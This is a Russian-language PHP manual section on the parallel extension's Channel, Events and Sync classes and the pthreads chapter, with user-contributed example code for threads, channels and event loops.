Небуферизованный канал будет блокироваться при вызовах parallel\Channel::send() до тех пор, пока не появится получатель, и блокироваться при вызовах parallel\Channel::recv() до тех пор, пока не появится отправитель. Это означает, что небуферизованный канал - это не только способ обмена данными между задачами, но и простой метод синхронизации.

Небуферизованный канал - это самый быстрый способ обмена данными между задачами, требующий наименьшего количества копирования.

Буферизованные каналы

Буферизованный канал не будет блокироваться при вызовах parallel\Channel::send() до заполнения буфера, а вызовы parallel\Channel::recv() будут блокироваться до тех пор, пока в буфере есть данные.

Замыкания поверх каналов

Мощная особенность параллельных каналов состоит в том, что они позволяют обмениваться замыканиями между задачами (и средами выполнения).

Когда замыкание отправляется по каналу, оно буферизуется, не меняет буферизацию канала, передающего замыкание, но оно влияет на статическую область видимости внутри замыкания: одно и то же замыкание, отправленное в разные среды выполнения или в одну и ту же среду выполнения, не будет делиться своей статической областью.

Это означает, что всякий раз, когда выполняется замыкание, которое было передано каналом, статическое состояние будет таким, каким оно было при буферизации замыкания.

Анонимные каналы

Конструктор анонимного канала позволяет программисту избегать присвоения имён каждому каналу: parallel генерирует уникальное имя для анонимных каналов.

Обзор классов

final class parallel\Channel {
/* Анонимный конструктор */
public __construct()
public __construct(int $capacity)
/* Доступ */
public make(string $name): Channel
public make(string $name, int $capacity): Channel
public open(string $name): Channel
/* Совместное использование */
public recv(): mixed
public send(mixed $value): void
/* Закрытие */
public close(): void
/* Константа для бесконечной буферизации */
const Infinite;
}

Содержание

  • parallel\Channel::__construct — Конструктор класса Channel
  • parallel\Channel::make — Доступ
  • parallel\Channel::open — Доступ
  • parallel\Channel::recv — Совместное использование
  • parallel\Channel::send — Совместное использование
  • parallel\Channel::close — Закрытие

User Contributed Notes

gam6itko 10-Sep-2021 01:59
<?php

// the very weird way to calculate factorial ^_^
// we create one thread and synching them with buffered channel
// at fact only one thread is executing at the time

use parallel\{Channel, Future, Runtime};

for ($n = 0; $n <= 10; $n++) {
    echo "!$n = " . factorial($n) . PHP_EOL;
}

/**
 * Creates $n threads.
 */
function factorial(int $n): int
{
    // buffered channel - using for sync threads ^_^
    $channel = new Channel(1);
    $futureList = [];
    for ($i = 2; $i <= $n; $i++) {
        $runtime = new Runtime();
        $futureList[] = $runtime->run(
            static function (Channel $channel, $multiplier): void {
                $f = $channel->recv();
                $channel->send($f * $multiplier);
            },
            [$channel, $i]
        );
    }

    $channel->send(1);

    // waiting until all threads are done
    do {
        $allDone = array_reduce(
            $futureList,
            function (bool $c, Future $future): bool {

                return $c && $future->done();
            },
            true
        );
    } while (false === $allDone);

    return $channel->recv();
}

// output:
// !0 = 1
// !1 = 1
// !2 = 2
// !3 = 6
// !4 = 24
// !5 = 120
// !6 = 720
// !7 = 5040
// !8 = 40320
// !9 = 362880
// !10 = 3628800
hdvianna 16-Jan-2020 06:00
This is an example of using a channel to produce data for consumers. In this example, the producer Runtime instance will send the time in seconds in which the consumers shall sleep.

<?php

use parallel\{Runtime, Channel};

main($argv);

function main(array $argv)
{
    if (count($argv) !== 3) {
        echo "Type: hello-parallel.php <number-of-tasks> <maximum-time-of-sleep (in seconds)>" . PHP_EOL;
        echo "Example: hello-parallel.php 5 3" . PHP_EOL;
        die;
    } else {
        $numberOfTasks = intval($argv[1]);
        $maximumTimeOfSleep = intval($argv[2]);
        $t1 = microtime(true);
        parallelize($numberOfTasks, $maximumTimeOfSleep);
        $endTime = microtime(true) - $t1;
        echo PHP_EOL."Finished $numberOfTasks task(s) in {$endTime}s".PHP_EOL;
    }
}

function parallelize(int $numberOfTasks, int $maximumTimeOfSleep)
{
    $channel = new Channel();

    $taskIds = array_map(function () use ($maximumTimeOfSleep) {
        return $id = uniqid("task::");
    }, range(0, $numberOfTasks - 1));

    $timesToSleep = array_map(function () use ($maximumTimeOfSleep) {
        return rand(1, $maximumTimeOfSleep);
    }, $taskIds);

    $producer = new Runtime();
    $producerFuture = $producer->run(function (Channel $channel, array $timesToSleep) {
        foreach ($timesToSleep as $timeToSleep) {
            $channel->send($timeToSleep);
        }
    }, [$channel, $timesToSleep]);

    $consumerFutures = array_map(function (string $id) use ($channel) {
        $runtime = new Runtime();
        return $runtime->run(function (string $id, Channel $channel) {
            $timeToSleep = $channel->recv();
            echo "Hello from $id. I will sleep for $timeToSleep second(s).".PHP_EOL;
            sleep($timeToSleep);
            echo "$id slept for $timeToSleep second(s).".PHP_EOL;
            return $timeToSleep;
        }, [$id, $channel]);
    }, $taskIds);

    wait($consumerFutures);
    wait([$producerFuture]);
}

function wait(array $futures)
{
    return array_map(function ($future) {
        return $future->value();
    }, $futures);
}
rustysun 18-Sep-2019 10:28
an example used unbuffered channel.
<?php

use parallel\{Channel,Runtime};

$sum=function(array $a, Channel $ch) {
    $sum=0;
    foreach ($a as $v) {
        $sum+=$v;
    }
    $ch->send($sum);
};
try {
    $a=[7, 2, 8, 1, 4, 0, 9, 10];
    //unbuffered channel
    $runtime=new Runtime;
    $ch2=new Channel;
    $runtime->run($sum, [array_slice($a, 0, $num), $ch2]);
    $runtime->run($sum, [array_slice($a, $num), $ch2]);
    //receive from channel
    $x=$ch2->recv();
    $y=$ch2->recv();
    $ch2->close();
    echo "\nch2:", $x, "\t", $y, "\t", $x + $y, "\n";
} catch(Error $err) {
    echo "\nError:", $err->getMessage();
} catch(Exception $e) {
    echo "\nException:", $e->getMessage();
}

//output
//ch2:18  23      41
rustysun 18-Sep-2019 04:08
<?php
use parallel\Channel;

function sum(array $a, Channel $ch) {
    $sum=0;
    foreach ($a as $v) {
        $sum+=$v;
    }
    $ch->send($sum);
}

try {
    $a=[7, 2, 8, 1, 4, 0, 9, 10];
    $ch1=Channel::make('sum', 2);
    $ch2=new Channel;
    $num=count($a) / 2;
    sum(array_slice($a, 0, $num), $ch1);
    sum(array_slice($a, $num), $ch1);

    //receive from channel
    $x=$ch1->recv();
    $y=$ch1->recv();
    $ch1->close();
    echo "\nch1:", $x, "\t", $y, "\t", $x + $y, "\n";
} catch(Error $err) {
    echo "\nError:", $err->getMessage();
} catch(Exception $e) {
    echo "\nException:", $e->getMessage();
}


Конструктор класса Channel

  • « parallel\Channel
  • parallel\Channel::make »
  • PHP Manual
  • parallel\Channel
  • Конструктор класса Channel

parallel\Channel::__construct

(1.1.0)

parallel\Channel::__construct — Конструктор класса Channel

Описание

public parallel\Channel::__construct()

Создаёт анонимный небуферизованный канал

public parallel\Channel::__construct(int $capacity)

Создаёт анонимный буферизованный канал с заданной ёмкостью.

Список параметров

capacity

Может быть Channel::Infinite или положительным целым числом.

User Contributed Notes

abolfazl dot ziaratban at gmail dot com 22-Apr-2021 12:26
$capacity is count of stack in buffer.

for example :

<?php
use parallel\{Channel,Runtime};

$test = function($ch){
    var_dump($ch->Recv());
    var_dump($ch->Recv());
    var_dump($ch->Recv());
    echo 'Sleep'.PHP_EOL;
    sleep(3);
    echo 'Call Recv()'.PHP_EOL;
    var_dump($ch->Recv());
};

$t1 = new Runtime();
$ch = new Channel(3); //buffered channel
$ch->Send('abc1');
$ch->Send('abc2');
$ch->Send('abc3');
$t1->Run($test,[$ch]);
sleep(1);
echo 'Wait for Recv()...'.PHP_EOL;
$ch->Send('abc4'); #php waits for only one stack of channel to be empty(by Recv() method)
?>

result:
string(4) "abc1"
string(4) "abc2"
string(4) "abc3"
Sleep
Wait for Recv()...
Call Recv()
string(4) "abc4"
frame86 at live dot com 28-Apr-2020 11:43
Please note $capacity unit is 1 MiB each, not bytes


Доступ

  • « parallel\Channel::__construct
  • parallel\Channel::open »
  • PHP Manual
  • parallel\Channel
  • Доступ

parallel\Channel::make

(0.9.0)

parallel\Channel::make — Доступ

Описание

public parallel\Channel::make(string $name): Channel

Создаёт небуферизованный канал с заданным именем

public parallel\Channel::make(string $name, int $capacity): Channel

Создаёт буферизованный канал с заданным именем и ёмкостью.

Список параметров

name

Имя канала.

capacity

Может быть Channel::Infinite или положительным целым числом

Ошибки

Внимание

Выбрасывает parallel\Channel\Error\Existence, если канал уже существует.

User Contributed Notes

There are no user contributed notes for this page.


Доступ

  • « parallel\Channel::make
  • parallel\Channel::recv »
  • PHP Manual
  • parallel\Channel
  • Доступ

parallel\Channel::open

(0.9.0)

parallel\Channel::open — Доступ

Описание

public parallel\Channel::open(string $name): Channel

Открывает канал с заданным именем

Ошибки

Внимание

Выбрасывает parallel\Channel\Error\Existence, если канал не существует.

User Contributed Notes

gam6itko 25-Sep-2021 09:58
<?php

// example below shows how to get channel by name within child thread with Channel::open()

use parallel\{Channel, Runtime};

$fnThread = static function () {
    $channel = Channel::open('channel_name');
    $message = $channel->recv();
    echo "- received message: $message\n";

    return 'bye';
};

$channel = Channel::make('channel_name', 1);

// main thread
$runtime = new Runtime();
$future = $runtime->run($fnThread, [$channel]);

echo "sending message\n";
$channel->send('hello future!');
sleep(1);
echo "closing channel\n";
$channel->close();

echo "future said: ".$future->value();
echo PHP_EOL;


Совместное использование

  • « parallel\Channel::open
  • parallel\Channel::send »
  • PHP Manual
  • parallel\Channel
  • Совместное использование

parallel\Channel::recv

(0.9.0)

parallel\Channel::recv — Совместное использование

Описание

public parallel\Channel::recv(): mixed

Получает значение из этого канала

Ошибки

Внимание

Выбрасывает parallel\Channel\Error\Closed, если канал закрыт.

User Contributed Notes

There are no user contributed notes for this page.


Совместное использование

  • « parallel\Channel::recv
  • parallel\Channel::close »
  • PHP Manual
  • parallel\Channel
  • Совместное использование

parallel\Channel::send

(0.9.0)

parallel\Channel::send — Совместное использование

Описание

public parallel\Channel::send(mixed $value): void

Отправляет заданное значение в канал

Ошибки

Внимание

Выбрасывает parallel\Channel\Error\Closed, если канал закрыт.

Внимание

Выбрасывает parallel\Channel\Error\IllegalValue, если значение недопустимо.

User Contributed Notes

There are no user contributed notes for this page.


Закрытие

  • « parallel\Channel::send
  • parallel\Events »
  • PHP Manual
  • parallel\Channel
  • Закрытие

parallel\Channel::close

(0.9.0)

parallel\Channel::close — Закрытие

Описание

public parallel\Channel::close(): void

Закрывает канал.

Ошибки

Внимание

Выбрасывает parallel\Channel\Error\Closed, если канал уже был закрыт.

User Contributed Notes

There are no user contributed notes for this page.


Класс parallel\Events

(0.9.0)

Цикл событий

Цикл событий отслеживает состояние наборов объектов Future и/или Channel (целей) для выполнения операций чтения (parallel\Future::value(), parallel\Channel::recv()) и записи (parallel\Channel::send()) по мере того, как цели становятся доступными и операции могут выполняться без блокировки цикла событий.

Обзор классов

final class parallel\Events implements Countable, Traversable {
/* Входные данные */
public setInput(Input $input): void
/* Цели */
public addChannel(parallel\Channel $channel): void
public addFuture(string $name, parallel\Future $future): void
public remove(string $target): void
/* Поведение */
public setBlocking(bool $blocking): void
public setTimeout(int $timeout): void
/* Опрос */
public poll(): ?parallel\Events\Event
}

Содержание

  • parallel\Events::setBlocking — Поведение
  • parallel\Events::setTimeout — Поведение
  • parallel\Events::setInput — Вход
  • parallel\Events::addChannel — Цели
  • parallel\Events::addFuture — Цели
  • parallel\Events::remove — Цели
  • parallel\Events::poll — Опрос

User Contributed Notes

gam6itko 25-Sep-2021 07:24
<?php

// example below shows how to stop child thread from main thread

use parallel\{Channel, Events, Events\Event\Type, Runtime};

$fnThread = static function (Channel $channel) {
    $events = new Events();
    $events->addChannel($channel);
    $events->setBlocking(false); // don't block on Events::poll()

    while (true) {
        if ($event = $events->poll()) {
            //It seems, the target gets deleted after returning an event, so add it again.
            $events->addChannel($channel);

            if (Type::Read === $event->type) {
                echo "- received value: ".$event->value.PHP_EOL;
            } elseif (Type::Close === $event->type) {
                echo "- receiving close event".PHP_EOL;
                return "i'm done";
            }

        }
        echo "-\n";
        usleep(500_000);
    }
};

// main thread
$runtime = new Runtime();
$channel = new Channel();
$future = $runtime->run($fnThread, [$channel]);

$channel->send('message1');
sleep(2);
$channel->send('message2');
sleep(2);

echo "closing channel\n";
$channel->close();
echo "future said: ".$future->value();
echo PHP_EOL;
gam6itko 11-Sep-2021 03:28
<?php

// this example shows how Events handle Future events

use parallel\{Events, Events\Event, Runtime};

$events = new Events();

$runtime = new Runtime();

//Read (type: 1)
$future = $runtime->run(
    static function (string $name) {
        return "Future#$name result";
    },
    ['Read']
);
$events->addFuture("Future#Read", $future);

//Cancel  (type: 4)
$future = $runtime->run(
    static function (string $name) {
        throw new \Exception("Exception#$name");
    },
    ['Cancel']
);
$events->addFuture("Future#Cancel", $future);

//Kill  (type: 5)
$future = $runtime->run(
    static function () {
        sleep(100000);
    },
    []
);
$events->addFuture("Future#Kill", $future);
$future->cancel(); //kill it

//Error  (type: 6)
$future = $runtime->run(
    static function () {
        $memoryEater = [];
        $i = 0;
        while (++$i) {
            $memoryEater[] = $i;
        }
    }
);
$events->addFuture("Future#Error", $future);

// reading events

/** @var Event $event */
foreach ($events as $i => $event) {
    echo str_pad('', 50, '=') . " EVENT_$i\n";
    var_dump($event);
    echo "\n";
}
s dot laufer at homegear dot email 22-Dec-2019 03:02
<?php
/**
Example showing the usage of events.

The documentation still is very thin, so I'm not sure, the example is the best solution. But it works.
*/
use parallel\{Channel,Runtime,Events,Events\Event};

$myThread = function(Channel $channel) {
    $events = new Events();
    $events->addChannel($channel);
    //$events->setBlocking(false); //Uncomment to don't block on Events::poll()
    $events->setTimeout(1000000); //Comment when not blocking

    while(true)
    {
        /*
        ...
        Your code.
        ...
        */

        //Read all available events
        try
        {
            $event = NULL;
            do
            {
                $event = $events->poll(); //Returns non-null if there is an event
                if($event && $event->source == 'myChannel')
                {
                    //It seems, the target gets deleted after returning an event,
                    //so add it again.
                    $events->addChannel($channel);
                    if($event->type == Event\Type::Read)
                    {
                        if(is_array($event->value) && count($event->value) > 0)
                        {
                            if($event->value['name'] == 'stop')
                            {
                                echo 'Stopping thread';
                                return; //Stop
                            }
                            else
                            {
                                echo 'Event: '.$event->value['name'].' => '.$event->value['value'].PHP_EOL;
                            }
                        }
                    }
                    else if($event->type == Event\Type::Close) return; //Stop
                }
            }
            while($event);
        }
        catch(Events\Error\Timeout $ex)
        {
            //Timeout
            echo 'Timeout'.PHP_EOL;
        }
    }
};

class MyClass {
    private $runtime;
    private $future;
    private $channel;

    public function start() {
        //Create runtime
        $this->runtime = new Runtime();

        //Create buffered channel.
        //Buffered channels don't block on Channel::send().
        //Note that target names need to be unique within the process.
        $this->channel = Channel::make('myChannel', Channel::Infinite);

        global $myThread;
        $this->future = $this->runtime->run($myThread, [$this->channel]);
    }

    public function stop() {
        $this->channel->send(['name' => 'stop', 'value' => true]);

        $this->future->value(); //Wait for thread to finish
        $this->channel->close();
    }

    public function emit(string $name, $value)
    {
        $this->channel->send(['name' => $name, 'value' => $value]);
    }
}

$a = new MyClass();
$a->start();

for($i = 0; $i < 5; $i++)
{
    $a->emit('test', $i);
    sleep(0.5);
}

sleep(2);

for($i = 5; $i < 10; $i++)
{
    $a->emit('test', $i);
    sleep(0.5);
}

$a->stop();
?>


Поведение

  • « parallel\Events
  • parallel\Events::setTimeout »
  • PHP Manual
  • parallel\Events
  • Поведение

parallel\Events::setBlocking

(0.9.0)

parallel\Events::setBlocking — Поведение

Описание

По умолчанию, когда опрашиваются события, блокировка будет происходить (на уровне PHP) до тех пор, пока не будет возвращено первое событие: установка режима блокировки в false приведёт к тому, что опрос вернёт управление, если первая опрошенная цель не готова.

Отличается от установки времени ожидания 0 с помощью parallel\Events::setTimeout(), поскольку время ожидания 0, хотя и разрешено, выбросит исключение, которое может быть чрезвычайно медленным или расточительным, если действительно необходимо неблокирующее поведение.

Неблокирующий цикл влияет на возвращаемое значение parallel\Events::poll(), так что оно может быть null до того, как все события будут обработаны.

public parallel\Events::setBlocking(bool $blocking): void

Устанавливает режим блокировки

Ошибки

Внимание

Выбрасывает parallel\Events\Error, если для цикла установлено время ожидания.

User Contributed Notes

There are no user contributed notes for this page.


Поведение

  • « parallel\Events::setBlocking
  • parallel\Events::setInput »
  • PHP Manual
  • parallel\Events
  • Поведение

parallel\Events::setTimeout

(0.9.0)

parallel\Events::setTimeout — Поведение

Описание

По умолчанию при опросе событий происходит блокировка (на уровне PHP) до тех пор, пока не будет возвращено первое событие: установка времени ожидания приводит к выбрасыванию исключения при превышении времени ожидания.

Отличается от установки режима блокировки в false с помощью parallel\Events::setBlocking(), который не выбрасывает исключение.

public parallel\Events::setTimeout(int $timeout): void

Устанавливает время ожидания в микросекундах

Ошибки

Внимание

Выбрасывает parallel\Events\Error, если цикл не блокируется.

User Contributed Notes

php at sallyx dot org 12-Sep-2022 08:25
You can call <?php $events->setTimeount(-1); ?> to cancel timeout.


Вход

  • « parallel\Events::setTimeout
  • parallel\Events::addChannel »
  • PHP Manual
  • parallel\Events
  • Вход

parallel\Events::setInput

(0.9.0)

parallel\Events::setInput — Вход

Описание

public parallel\Events::setInput(Input $input): void

Устанавливает input для этого цикла событий

User Contributed Notes

There are no user contributed notes for this page.


Цели

  • « parallel\Events::setInput
  • parallel\Events::addFuture »
  • PHP Manual
  • parallel\Events
  • Цели

parallel\Events::addChannel

(0.9.0)

parallel\Events::addChannel — Цели

Описание

public parallel\Events::addChannel(parallel\Channel $channel): void

Следит за событиями в заданном channel

Ошибки

Внимание

Выбрасывает parallel\Events\Error\Existence, если канал уже был добавлен.

User Contributed Notes

There are no user contributed notes for this page.


Цели

  • « parallel\Events::addChannel
  • parallel\Events::remove »
  • PHP Manual
  • parallel\Events
  • Цели

parallel\Events::addFuture

(0.9.0)

parallel\Events::addFuture — Цели

Описание

public parallel\Events::addFuture(string $name, parallel\Future $future): void

Следит за событиями в заданном future

Ошибки

Внимание

Выбрасывает parallel\Events\Error\Existence, если цель с данным именем уже была добавлена.

User Contributed Notes

There are no user contributed notes for this page.


Цели

  • « parallel\Events::addFuture
  • parallel\Events::poll »
  • PHP Manual
  • parallel\Events
  • Цели

parallel\Events::remove

(0.9.0)

parallel\Events::remove — Цели

Описание

public parallel\Events::remove(string $target): void

Удаляет заданный target

Ошибки

Внимание

Выбрасывает parallel\Events\Error\Existence, если цель с указанным именем не найдена.

User Contributed Notes

There are no user contributed notes for this page.


Опрос

  • « parallel\Events::remove
  • parallel\Events\Input »
  • PHP Manual
  • parallel\Events
  • Опрос

parallel\Events::poll

(0.9.0)

parallel\Events::poll — Опрос

Описание

public parallel\Events::poll(): ?parallel\Events\Event

Опрашивает для следующего события

Возвращаемые значения

Если целей не осталось, возвращается null.

Если это будет неблокирующий цикл и произойдёт блокировка, будет возвращено значение null.

В противном случае parallel\Events\Event возвращает описание события.

Ошибки

Внимание

Выбрасывает parallel\Events\Error\Timeout, если время ожидания использовано и достигнуто.

User Contributed Notes

There are no user contributed notes for this page.


Класс parallel\Events\Input

(0.9.0)

Входные данные событий

Объект Input - это контейнер для данных, которые объект parallel\Events запишет в объекты parallel\Channel по мере их доступности. Несколько циклов событий могут совместно использовать контейнер ввода - parallel не проверяет содержимое контейнера, если он установлен как входные данные для объекта parallel\Events.

Замечание:

Когда объект parallel\Events выполняет запись, цель удаляется из объекта входных данных, как если бы был вызван метод parallel\Events\Input::remove().

Обзор классов

final class parallel\Events\Input {
public add(string $target, mixed $value): void
public remove(string $target): void
public clear(): void
}

Содержание

  • parallel\Events\Input::add — Входы
  • parallel\Events\Input::clear — Входы
  • parallel\Events\Input::remove — Входы

User Contributed Notes

There are no user contributed notes for this page.


Входы

  • « parallel\Events\Input
  • parallel\Events\Input::clear »
  • PHP Manual
  • parallel\Events\Input
  • Входы

parallel\Events\Input::add

(0.9.0)

parallel\Events\Input::add — Входы

Описание

public parallel\Events\Input::add(string $target, mixed $value): void

Устанавливает вход для заданной цели

Ошибки

Внимание

Выбрасывает parallel\Events\Input\Error\Existence, если вход для цели уже существует.

Внимание

Выбрасывает parallel\Events\Input\Error\IllegalValue, если значение недопустимо (object, null).

User Contributed Notes

There are no user contributed notes for this page.


Входы

  • « parallel\Events\Input::add
  • parallel\Events\Input::remove »
  • PHP Manual
  • parallel\Events\Input
  • Входы

parallel\Events\Input::clear

(0.9.0)

parallel\Events\Input::clear — Входы

Описание

public parallel\Events\Input::clear(): void

Удаляет ввод для всех целей

User Contributed Notes

There are no user contributed notes for this page.


Входы

  • « parallel\Events\Input::clear
  • parallel\Events\Event »
  • PHP Manual
  • parallel\Events\Input
  • Входы

parallel\Events\Input::remove

(0.9.0)

parallel\Events\Input::remove — Входы

Описание

public parallel\Events\Input::remove(string $target): void

Удаляет вход для данной цели

Ошибки

Внимание

Выбрасывает parallel\Events\Input\Error\Existence, если вход для цели не существует.

User Contributed Notes

There are no user contributed notes for this page.


Класс parallel\Events\Event

(0.9.0)

Объекты событий

Когда возвращается объект Event, Event::$object должен быть удалён из цикла, который его вернул, если событие является событием записи, класс Input экземпляра Event::$source также следует удалить.

Обзор классов

final class parallel\Events\Event {
/* Одна из констант Event\Type. */
public int $type;
/* Должен быть источником события (имя цели) */
public string $source;
/* Должно быть либо Future, либо Channel */
public object $object;
/* Должен быть установлен для событий чтения/ошибки */
public $value;
}

User Contributed Notes

There are no user contributed notes for this page.


Класс parallel\Events\Event\Type

(0.9.0)

Обзор классов

final class parallel\Events\Event\Type {
/* Event::$object был прочитан в Event::$value */
const Read;
/* Input for Event::$source записан в Event::$object */
const Write;
/* Event::$object (Канал) был закрыт */
const Close;
/* Event::$object (Фьючерс) был прекращён */
const Cancel;
/* Среда выполнения, выполняющая Event::$object (Фьючерс), была уничтожена */
const Kill;
/* Event::$object (фьючерс) выдал ошибку */
const Error;
}

User Contributed Notes

abolfazl dot ziaratban at gmail dot com 15-Jul-2021 10:05
array(6) {
  ["Read"]=>
  int(1)
  ["Write"]=>
  int(2)
  ["Close"]=>
  int(3)
  ["Cancel"]=>
  int(5)
  ["Kill"]=>
  int(6)
  ["Error"]=>
  int(4)
}


Класс parallel\Sync

(1.1.0)

Синхронизация низкого уровня

Класс parallel\Sync обеспечивает доступ к низкоуровневым примитивам синхронизации, мьютексам, условным переменным и позволяет реализовать семафоры.

Синхронизация для большинства приложений намного лучше реализуется с использованием каналов, однако в некоторых случаях авторы низкоуровневого кода могут счесть полезным иметь доступ к этим механизмам более низкого уровня.

Обзор классов

final class parallel\Sync {
/* Конструктор */
public __construct()
public __construct(scalar $value)
/* Доступ */
public get(): scalar
public set(scalar $value)
/* Синхронизация */
public wait()
public notify(bool $all = ?)
public __invoke(callable $critical)
}

Содержание

  • parallel\Sync::__construct — Конструктор класса
  • parallel\Sync::get — Доступ
  • parallel\Sync::set — Доступ
  • parallel\Sync::wait — Синхронизация
  • parallel\Sync::notify — Синхронизация
  • parallel\Sync::__invoke — Синхронизация

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса

  • « parallel\Sync
  • parallel\Sync::get »
  • PHP Manual
  • parallel\Sync
  • Конструктор класса

parallel\Sync::__construct

(1.1.0)

parallel\Sync::__construct — Конструктор класса

Описание

public parallel\Sync::__construct()

Создаёт новый объект синхронизации без значения.

public parallel\Sync::__construct(scalar $value)

Создаёт новый объект синхронизации, содержащий заданное скалярное значение.

Ошибки

Внимание

Выбрасывает parallel\Sync\Error\IllegalValue, если value не является скалярным значением.

User Contributed Notes

There are no user contributed notes for this page.


Доступ

  • « parallel\Sync::__construct
  • parallel\Sync::set »
  • PHP Manual
  • parallel\Sync
  • Доступ

parallel\Sync::get

(1.1.0)

parallel\Sync::get — Доступ

Описание

public parallel\Sync::get(): scalar

Автоматически возвращает значение объектов синхронизации.

User Contributed Notes

There are no user contributed notes for this page.


Доступ

  • « parallel\Sync::get
  • parallel\Sync::wait »
  • PHP Manual
  • parallel\Sync
  • Доступ

parallel\Sync::set

(1.1.0)

parallel\Sync::set — Доступ

Описание

public parallel\Sync::set(scalar $value)

Атомарно устанавливает значение объекта синхронизации.

Ошибки

Внимание

Выбрасывает parallel\Sync\Error\IllegalValue, если value не является скалярным значением.

User Contributed Notes

There are no user contributed notes for this page.


Синхронизация

  • « parallel\Sync::set
  • parallel\Sync::notify »
  • PHP Manual
  • parallel\Sync
  • Синхронизация

parallel\Sync::wait

(1.1.0)

parallel\Sync::wait — Синхронизация

Описание

public parallel\Sync::wait()

Ожидает уведомления об этом объекте синхронизации.

User Contributed Notes

There are no user contributed notes for this page.


Синхронизация

  • « parallel\Sync::wait
  • parallel\Sync::__invoke »
  • PHP Manual
  • parallel\Sync
  • Синхронизация

parallel\Sync::notify

(1.1.0)

parallel\Sync::notify — Синхронизация

Описание

public parallel\Sync::notify(bool $all = ?)

Уведомляет один (по умолчанию) или все потоки, ожидающие объекта синхронизации.

User Contributed Notes

There are no user contributed notes for this page.


Синхронизация

  • « parallel\Sync::notify
  • pthreads »
  • PHP Manual
  • parallel\Sync
  • Синхронизация

parallel\Sync::__invoke

(1.1.0)

parallel\Sync::__invoke — Синхронизация

Описание

public parallel\Sync::__invoke(callable $critical)

Должен быть включён исключительно в критический код.

User Contributed Notes

There are no user contributed notes for this page.


pthreads

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
  • Предопределённые константы
  • Threaded — Класс Threaded
    • Threaded::chunk — Обработка
    • Threaded::count — Обработка
    • Threaded::extend — Обработка во время выполнения
    • Threaded::isRunning — Определение состояния
    • Threaded::isTerminated — Определение состояния
    • Threaded::merge — Обработка
    • Threaded::notify — Синхронизация
    • Threaded::notifyOne — Синхронизация
    • Threaded::pop — Обработка
    • Threaded::run — Выполнение
    • Threaded::shift — Обработка
    • Threaded::synchronized — Синхронизация
    • Threaded::wait — Синхронизация
  • Thread — Класс Thread
    • Thread::getCreatorId — Идентификация
    • Thread::getCurrentThread — Идентификация
    • Thread::getCurrentThreadId — Идентификация
    • Thread::getThreadId — Идентификация
    • Thread::isJoined — Определение состояния
    • Thread::isStarted — Определение состояния
    • Thread::join — Синхронизация
    • Thread::start — Выполнение
  • Worker — Класс Worker
    • Worker::collect — Собрать ссылки на завершённые задачи
    • Worker::getStacked — Возвращает текущий размер стека
    • Worker::isShutdown — Определение состояния
    • Worker::shutdown — Остановить Worker
    • Worker::stack — Положить задачу на стек
    • Worker::unstack — Убрать задачу со стека
  • Collectable — Интерфейс Collectable
    • Collectable::isGarbage — Определяет, помечен ли объект как мусор
  • Pool — Класс Pool
    • Pool::collect — Собирает ссылки на выполненные задания
    • Pool::__construct — Создаёт новый пул воркеров
    • Pool::resize — Изменяет размер пула
    • Pool::shutdown — Выключает все воркеры
    • Pool::submit — Отправляет объект на исполнение
    • Pool::submitTo — Отправляет задачу конкретному воркеру для выполнения
  • Volatile — Класс Volatile

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 04:49
In this example, it shows how to use a threaded with a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
mckaygerhard at gmail dot com 26-Sep-2018 03:01
mayority of that problems only happned for guindows, .. porr os
anonymous at example dot com 02-Jun-2017 03:19
Here are some notes regarding PHP pThreads v3 that I have gathered:
-namespace: It does not understand namespaces.
-globals: It won't serialize GLOBALS at all! And will not register new ones.
-classes: It registers new classes okay.
-functions: Will not register ANY functions - they must all be in static classes. It does understand PHP native functions.
-consts: previous constants will transfer over. Don't make any new ones thou!
-pThreads only work in CLI - of course!
-If a thread crashes it automatically gets recreated.
-In order to 'force kill' any thread the parent must be killed. Or wait until all other tasks queued are complete and then terminate.
-Anything registered in a pThread does not seem to join the main thread ... which is good!
-pThreads seem to be very powerful on multi-core environments, just need to be careful on system resources... it can and will lock up a system if mis-configured.
-Finally, finding help for PHP pThreads is slim to none... especially v3!

Good luck!
r3x at engelhardt-stefan dot de 17-Nov-2015 06:17
If you try to test threading, remember to let php think slow:

Skript: -- C:\Webserver\htdocs>php mttest.php

<?php
class My extends Thread{
    function run(){
        for($i=1;$i<10;$i++){
            echo Thread::getCurrentThreadId() .  "\n";
            sleep(2);     // <------
        }
    }
}

for($i=0;$i<2;$i++){
    $pool[] = new My();
}

foreach($pool as $worker){
    $worker->start();
}
foreach($pool as $worker){
    $worker->join();
}
?>

Output: -- C:\Webserver\htdocs>php mttest.php
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816

If you leave sleep() out, the cpu-time for the threads is long enough to complete the script at once.
admin at deosnet dot com 19-Aug-2014 10:01
Hello,

WARNING : When using Stackable objects in callable functions by your Threads, you must be very careful if you use it as an array. Indeed, if you do not copy your Stackable "array" in a local variable, the execution time can drop drastically !

Also, if you want to modify an array() in a function, you will also store in a local variable in order that your array is in a thread-safe context.
